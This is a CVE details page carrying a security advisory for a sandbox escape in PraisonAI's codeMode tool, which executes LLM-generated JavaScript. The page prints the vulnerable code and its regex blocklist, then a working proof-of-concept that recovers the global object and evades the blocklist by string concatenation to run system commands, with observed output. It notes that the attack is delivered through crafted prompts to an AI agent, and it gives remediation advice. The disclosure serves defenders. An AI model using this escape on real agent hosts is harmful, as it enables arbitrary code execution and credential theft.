CVE-2026-57141 — Vulnerability in praisonai — CVE Details
PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.75%). Schedule for your next planned update.
Does your project use an affected praisonai version?
Paste your package-lock.json to check it for CVE-2026-57141 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.
Details
Vulnerable code (lines 187–191):
const fn = new Function(
'sandbox',
`with (sandbox) { ${code} }`
);
const result = fn(sandbox);
The code parameter comes from LLM tool call arguments (the execute method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):
const blockedPatterns = [
/require\s*\(\s*['"]child_process['"]\s*\)/,
/require\s*\(\s*['"]fs['"]\s*\)/,
/import\s+.*from\s+['"]child_process['"]/,
/process\.exit/,
/eval\s*\(/,
];
Three fundamental weaknesses:
-
with(sandbox)does not provide isolation. Thewithstatement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object setsprocess: undefinedandrequire: undefined, but these are recovered via the global scope:const g = Function('return this')(); g.require('child_' + 'process') -
Blocklist evasion via string concatenation. The regex
/require\s*\(\s*['"]child_process['"]\s*\)/requires the literal string'child_process'or"child_process"insiderequire(). Usingrequire('child_' + 'process')bypasses this because the regex sees a variable concatenation, not a literal string. -
Function('return this')()is not blocked. None of the blocklist patterns matchFunction(,return this, orglobal.require.
PoC
Setup: Clean checkout at commit d5f1114a, Node.js v20.20.0 (tested environment).
Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):
// This code bypasses ALL blocklist patterns and achieves RCE:
const code = `
const Func = (function(){}).constructor;
const proc = Func('return process')();
console.log('process.version:', proc.version);
const g = Function('return this')();
const mod = 'child_' + 'process';
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;
Observed output (executed in this environment):
OUT: process.version: v20.20.0
OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)
The escape was confirmed by executing the exact code-mode sandbox pattern (new Function('sandbox', 'with (sandbox) { ... }')) with the blocklist applied first. ALL blocklist patterns were bypassed, and the id command returned the real system user ID.
Negative control — blocklist correctly catches direct require:
const code = `require('child_process')`;
// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"
Negative control — blocklist correctly catches eval:
const code = `eval('process')`;
// Returns: "Blocked pattern detected: eval\s*\("
Cleanup: No persistence needed; the code runs in-process.
Impact
An attacker who can influence the code parameter of the codeMode tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes:
- Read/write any file accessible to the process user
- Execute arbitrary system commands via
child_process - Exfiltrate environment variables containing API keys, tokens, and credentials
- Install persistent backdoors by writing to startup files
- Move laterally in containerized environments
Suggested remediation
The with(sandbox) + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:
- Use
vmmodule with proper context isolation:
import { createContext, runInContext } from 'vm';
const sandbox = createContext({ /* safe globals only */ });
runInContext(code, sandbox, { timeout: 5000 });
-
Or use
isolated-vmfor true process-level isolation with separate V8 isolates. -
Or run code in a subprocess (like the Python
_execute_code_sandboxedpattern already used inpython_tools.py) with a clean environment and resource limits. -
If a blocklist approach must be retained, add patterns for:
Function(/new Functionconstructor/__proto__/prototypereturn this/return globalglobal/globalThis/windowBut note: blocklist approaches are inherently fragile and will continue to have bypasses.
Advisory Timeline
- First published June 18, 2026 (161 days ago).
- Last revised July 20, 2026 — 32 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install praisonai@1.7.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| praisonai npm · Affected: All versions | 1.7.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-57141?
- PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-57141?
- CVE-2026-57141 affects praisonai. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-57141 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 50.9% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-76807CRITICAL
Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server
- CVE-2026-57140CRITICAL
npm PraisonAI AgentOS exposes unauthenticated agent listing and invocation
- CVE-2026-57139CRITICAL
npm PraisonAI MCPServer exposes unauthenticated HTTP tools/call
- CVE-2026-114516CRITICAL
Etherpad: Pre-auth arbitrary file read
- CVE-2026-57138CRITICAL
npm PraisonAI codeMode sandbox escape via Function constructor
- CVE-2026-57133HIGH
npm PraisonAI utility shell safe-command wrapper allowlist bypass via shell chaining
- CVE-2026-57137HIGH
npm PraisonAI AgentLoop onToolCall approval runs after tool execution
- CVE-2026-57136HIGH
npm PraisonAI SandboxExecutor allowedCommands bypass via shell chaining